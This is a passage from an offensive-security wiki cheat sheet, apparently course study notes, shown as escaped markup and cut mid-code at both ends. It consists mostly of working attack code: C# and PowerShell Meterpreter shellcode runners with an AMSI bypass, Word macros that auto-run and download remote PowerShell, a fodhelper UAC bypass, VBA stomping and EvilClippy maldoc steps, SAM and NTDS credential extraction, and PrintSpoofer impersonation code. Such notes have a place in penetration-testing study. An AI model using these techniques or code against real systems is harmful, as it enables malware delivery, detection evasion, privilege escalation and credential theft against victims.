        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt; vssadmin create shadow /for=C:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&lt;br /&gt;
# Cleanup&lt;br /&gt;
vssadmin delete shadows /shadow={XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
